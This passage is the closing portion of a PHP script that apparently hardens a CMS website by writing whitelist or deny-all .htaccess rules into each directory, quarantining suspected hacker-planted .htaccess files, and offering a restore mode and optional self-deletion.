            _log('INFO', "Self-whitelist: adding $_SELF_NAME to non-system dir $relNorm/");
        }
        $classified[] = array(
            'path' => $relNorm,
            'type' => empty($wl) ? 'deny_all' : 'special',
            'whitelist' => $wl,
        );
    }

    $counts = array('root' => 0, 'admin' => 0, 'deny_all' => 0, 'special' => 0);
    foreach ($classified as $e) $counts[$e['type']]++;
    _log('INFO', "Classification: root={$counts['root']}, admin={$counts['admin']}, "
        . "deny_all={$counts['deny_all']}, special={$counts['special']}");

    return $classified;
}

function do_add($scriptDir, $siteRoot) {
    _log('INFO', str_repeat('=', 50));
    _log('INFO', 'MODE: DEPLOY (.htaccess restrictions)');
    _log('INFO', str_repeat('=', 50));
    _log('INFO', "Site root: $siteRoot");

    $cmsType = detect_cms_type($siteRoot);
    $config = get_cms_config($cmsType, $siteRoot);

    global $_SELF_NAME;

    $scriptRelDir = compute_script_rel_dir($scriptDir, $siteRoot);
    _log('INFO', "Script relative dir: $scriptRelDir");

    if ($scriptRelDir === '.') {
        if (!in_array($_SELF_NAME, $config['root_whitelist'])) {
            $config['root_whitelist'][] = $_SELF_NAME;
            _log('INFO', "Script runs from root — added self to root whitelist: $_SELF_NAME");
        }
    } else {
        if (in_array($_SELF_NAME, $config['root_whitelist'])) {
            $config['root_whitelist'] = array_values(array_diff($config['root_whitelist'], array($_SELF_NAME)));
        }
        _log('INFO', "Script runs from subdirectory '$scriptRelDir' — root whitelist left untouched");
    }

    $allDirs = get_all_directories($siteRoot);
    _log('INFO', 'Found ' . count($allDirs) . ' directories');

    if (empty($allDirs)) {
        _log('ERROR', 'No directories found.');
        return false;
    }

    $dirClassification = classify_directories($allDirs, $config, $siteRoot, $cmsType, $scriptRelDir);

    $deployed = 0; $skipped = 0; $failed = 0; $hackerReplaced = 0;

    foreach ($dirClassification as $entry) {
        $relPath = $entry['path'];
        $type = $entry['type'];
        $fullPath = ($relPath === '.') ? $siteRoot : "$siteRoot/$relPath";
        $fullPath = str_replace('//', '/', $fullPath);

        if (!is_dir($fullPath)) {
            _log('WARN', "Skipping (not a dir): $fullPath");
            $skipped++;
            continue;
        }

        if (!is_writable($fullPath)) {
            _log('WARN', "Skipping (not writable): $relPath/");
            $skipped++;
            continue;
        }

        $existingContent = read_existing_htaccess($fullPath);

        if (has_deployer_markers($existingContent)) {
            _log('INFO', "Already deployed: $relPath/");
            $skipped++;
            continue;
        }

        $htFile = "$fullPath/.htaccess";
        $replaced = 0;

        if (!empty($existingContent)) {
            $hackerInfo = is_hacker_htaccess($existingContent, $cmsType, $relPath);

            if ($hackerInfo) {

                $renamed = null;
                if (quarantine_hacker_htaccess($htFile, $fullPath, $renamed)) {
                    $hackerReplaced++;
                    $replaced++;
                    global $BACKUP_EXT;
                    @unlink($htFile . $BACKUP_EXT);   
                } else {
                    _log('ERROR', "Cannot quarantine hostile .htaccess: $htFile");
                    $failed++;
                    continue;
                }
            } else {

                if (!preserve_and_clear_htaccess($fullPath)) {
                    $failed++;
                    continue;
                }
                _log('INFO', "Replaced existing .htaccess (kept as .bak, content not merged): $relPath/");
                $replaced++;
            }
        }

        switch ($type) {
            case 'root':
            case 'admin':
            case 'special':
                $newRules = generate_htaccess_whitelist($entry['whitelist']);
                break;
            case 'deny_all':
                $newRules = generate_deny_only_htaccess();
                break;
            default:
                _log('WARN', "Unknown type $type for $relPath/ — skipping");
                $skipped++;
                continue 2;
        }

        $isFreshRoot = ($type === 'root' && !is_file($htFile));
        if ($isFreshRoot) {
            global $DEFAULT_ROOT_REWRITE;
            if ($DEFAULT_ROOT_REWRITE) {
                $defaultBlock = wrap_with_markers(generate_default_rewrite_block(
                    compute_url_base($siteRoot)
                ));
                $newContent = wrap_with_markers($newRules) . "\n\n" . $defaultBlock;
                if (write_htaccess($fullPath, $newContent)) {
                    _log('INFO', 'Root .htaccess was missing — default rewrite block added');
                    $deployed++;
                } else {
                    $failed++;
                }
                continue;
            }
        }

        $newContent = wrap_with_markers($newRules);

        if (write_htaccess($fullPath, $newContent)) {
            $deployed++;
        } else {
            $failed++;
        }
    }

    _log('INFO', str_repeat('=', 50));
    _log('INFO', "DEPLOY DONE: $deployed deployed, $skipped skipped, $hackerReplaced hacker-replaced, $failed failed");
    _log('INFO', str_repeat('=', 50));
    return ($failed === 0);
}

function do_remove($scriptDir, $siteRoot) {
    _log('INFO', str_repeat('=', 50));
    _log('INFO', 'MODE: RESTORE (remove restrictions)');
    _log('INFO', str_repeat('=', 50));
    _log('INFO', "Site root: $siteRoot");

    $allDirs = get_all_directories($siteRoot);
    _log('INFO', 'Found ' . count($allDirs) . ' directories');

    $restored = 0; $removed = 0; $skipped = 0; $failed = 0;
    global $BACKUP_EXT;

    foreach ($allDirs as $relPath) {
        $fullPath = ($relPath === '.') ? $siteRoot : "$siteRoot/$relPath";
        $fullPath = str_replace('//', '/', $fullPath);
        $htFile = "$fullPath/.htaccess";
        $bakFile = $htFile . $BACKUP_EXT;

        if (!is_dir($fullPath)) continue;
        if (!is_writable($fullPath)) {
            _log('WARN', "Skipping (not writable): $relPath/");
            $skipped++;
            continue;
        }

        $existingContent = read_existing_htaccess($fullPath);

        if (!has_deployer_markers($existingContent)) {
            continue;
        }

        $cleaned = strip_deployer_rules($existingContent);

        if (empty($cleaned)) {
            if (!is_file($bakFile)) {
                if (@unlink($htFile)) {
                    _log('INFO', "Removed (we created it): $relPath/.htaccess");
                    $removed++;
                } else {
                    _log('ERROR', "Cannot remove: $htFile");
                    $failed++;
                }
            } else {
                $bakContent = @file_get_contents($bakFile);
                if ($bakContent !== false) {
                    if (@file_put_contents($htFile, $bakContent) !== false) {
                        @unlink($bakFile);
                        _log('INFO', "Restored from backup: $relPath/.htaccess");
                        $restored++;
                    } else {
                        _log('ERROR', "Cannot restore: $htFile");
                        $failed++;
                    }
                } else {
                    @unlink($htFile);
                    @unlink($bakFile);
                    _log('WARN', "Backup unreadable, removed: $relPath/.htaccess");
                    $removed++;
                }
            }
            continue;
        }

        if (@file_put_contents($htFile, $cleaned) !== false) {
            @unlink($bakFile);
            _log('INFO', "Restored: $relPath/.htaccess");
            $restored++;
        } else {
            _log('ERROR', "Cannot restore: $htFile");
            $failed++;
        }
    }

    _log('INFO', str_repeat('=', 50));
    _log('INFO', "RESTORE DONE: $restored restored, $removed removed, $skipped skipped, $failed failed");
    _log('INFO', str_repeat('=', 50));
    return ($failed === 0);
}

function output_html($success, $logs) {
    global $_SELF_NAME;
    $color = $success ? '#2d8a2d' : '#c0392b';
    $status = $success ? 'SUCCESS' : 'FAILED';
    $logText = implode("\n", array_map('htmlspecialchars', $logs));

    header('Content-Type: text/html; charset=utf-8');
    echo <<<HTML
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>$_SELF_NAME - $status</title>
<style>
body{font-family:Consolas,monospace;background:#1a1a1a;color:#ddd;margin:20px;}
h1{color:$color;} .log{background:#111;padding:15px;border-radius:6px;white-space:pre-wrap;
word-break:break-all;max-height:80vh;overflow:auto;font-size:13px;line-height:1.5;}
.summary{padding:10px 16px;background:$color;color:#fff;border-radius:6px;display:inline-block;margin-bottom:12px;}
</style>
</head>
<body>
<h1>$_SELF_NAME - $status</h1>
<div class="summary">$status</div>
<div class="log">$logText</div>
</body>
</html>
HTML;
}

$scriptDir = isset($GLOBALS['____SCRIPT_DIR'])
    ? str_replace('\\', '/', $GLOBALS['____SCRIPT_DIR'])
    : str_replace('\\', '/', dirname(__FILE__));

if (php_sapi_name() === 'cli' && isset($argv[1])) {
    $MODE = ($argv[1] === 'false' || $argv[1] === 'remove' || $argv[1] === '0')
        ? 'remove' : 'add';
}

$siteRoot = detect_site_root($scriptDir);

if ($siteRoot === null) {
    _log('ERROR', 'Cannot detect site root. Set $SITE_ROOT manually.');
    output_html(false, $_logs);
    exit(1);
}

if (!is_writable($siteRoot)) {
    _log('ERROR', "Site root not writable: $siteRoot");
    output_html(false, $_logs);
    exit(1);
}

$APACHE_GEN = detect_apache_gen();

$success = ($MODE === 'add')
    ? do_add($scriptDir, $siteRoot)
    : do_remove($scriptDir, $siteRoot);

output_html($success, $_logs);

if ($MODE === 'add') {
    global $SELF_DESTRUCT;
    if (!empty($SELF_DESTRUCT)) {
        if ($success) {
            $self = __FILE__;
            if (@unlink($self)) {
                _log('WARN', 'SELF_DESTRUCT: removed ' . basename($self));
            } else {
                _log('ERROR', 'SELF_DESTRUCT failed: ' . $self);
            }
        } else {
            _log('WARN', 'SELF_DESTRUCT skipped: deploy was not fully successful');
        }
    }
}